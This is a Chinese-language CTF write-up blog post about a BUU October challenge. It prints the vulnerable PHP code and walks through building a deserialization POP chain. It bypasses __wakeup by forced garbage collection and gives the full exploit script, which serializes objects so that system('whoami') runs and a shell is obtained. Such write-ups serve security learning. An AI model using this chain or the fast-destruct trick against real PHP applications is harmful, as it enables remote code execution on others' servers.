本文最后更新于:2024年12月28日 晚上
从buu十月赛学到点东西,废话不多说
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132
| <?php highlight_file(__FILE__); error_reporting(0);
class fine { private $cmd; private $content;
public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; }
public function __invoke() { call_user_func($this->cmd, $this->content); }
public function __wakeup() { $this->cmd = ""; die("Go listen to Jay Chou's secret-code! Really nice"); } }
class show { public $ctf; public $time = "Two and a half years";
public function __construct($ctf) { $this->ctf = $ctf; }
public function __toString() { return $this->ctf->show(); }
public function show(): string { return $this->ctf . ": Duration of practice: " . $this->time; }
}
class sorry { private $name; private $password; public $hint = "hint is depend on you"; public $key;
public function __construct($name, $password) { $this->name = $name; $this->password = $password; }
public function __sleep() { $this->hint = new secret_code(); }
public function __get($name) { $name = $this->key; $name(); }
public function __destruct() { if ($this->password == $this->name) {
echo $this->hint; } else if ($this->name = "jay") { secret_code::secret(); } else { echo "This is our code"; } }
public function getPassword() { return $this->password; }
public function setPassword($password): void { $this->password = $password; }
}
class secret_code { protected $code;
public static function secret() { include_once "hint.php"; hint(); }
public function __call($name, $arguments) { $num = $name; $this->$num(); }
private function show() { return $this->code->secret; } }
if (isset($_GET['pop'])) { $a = unserialize($_GET['pop']); $a->setPassword(md5(mt_rand())); } else { $a = new show("Ctfer"); echo $a->show(); }
|
题目代码如上
来逆向进行分析构造
首先看到目标函数在fine类的call_user_func(),这里需要invoke,跟进到sorry的get,跟进到secret_code的show,这里要想办法连到这个show,看到show类会调用show函数,再寻找使用字符串的地方,发现sorry类的destruct可以把hint当作字符串输出。
但是这里的fine类要求绕过wakeup,观察了一下php版本,常见的方法并不适用,但是此时fine类位于pop链的末尾,所以可以使用强制gc来实现提前销毁,也就是说还没吊用wakeup就已经销毁吊用destruct,改变了正常反序列化的顺序。
由于强制gc,底下的设置密码已经对我们无关紧要了,只要在序列化的时候让name=pass就可以了
关于强制gc的原理这篇文章做了一些介绍https://www.sohu.com/a/487112177_121118996
关于fastdestruct的手法这篇有一些介绍https://mp.weixin.qq.com/s?__biz=MzIzMTQ4NzE2Ng==&mid=2247487933&idx=1&sn=e57bc3583c1b80f1aa7bd08409cfb82d
这里贴出我们构造的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139
| <?php class fine { private $cmd; private $content;
public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; }
public function __invoke() { call_user_func($this->cmd, $this->content); }
public function __wakeup() { $this->cmd = ""; die("Go listen to Jay Chou's secret-code! Really nice"); } }
class show { public $ctf; public $time = "Two and a half years";
public function __construct($ctf) { $this->ctf = $ctf; }
public function __toString() { return $this->ctf->show(); }
public function show(): string { return $this->ctf . ": Duration of practice: " . $this->time; }
}
class sorry { private $name; private $password; public $hint; public $key;
public function __construct($name, $password,$hint,$key) { $this->name = $name; $this->password = $password; $this->hint = $hint; $this->key = $key; }
public function __get($name) { $name = $this->key; $name(); }
public function __destruct() { if ($this->password == $this->name) {
echo $this->hint; } else if ($this->name = "jay") { secret_code::secret(); } else { echo "This is our code"; } }
public function getPassword() { return $this->password; }
public function setPassword($password): void { $this->password = $password; }
}
class secret_code { protected $code;
public function __construct($code) { $this->code = $code; }
public static function secret() { include_once "hint.php"; hint(); }
public function __call($name, $arguments) { $num = $name; $this->$num(); }
private function show() { return $this->code->secret; } }
$fine = new fine("system","whoami"); $sorry1 = new sorry("1","1","1",$fine); $secret = new secret_code($sorry1); $show = new show($secret); $sorry2 = new sorry("1","1",$show,""); echo urlencode(serialize($sorry2));
|
![image-20221025213025847](https://slain-1305498256.cos.ap-shanghai.myqcloud.com/markdown/2022-10-25-21-30-26%20.png)
去掉最后一个大括号进行强制gc,成功getshell。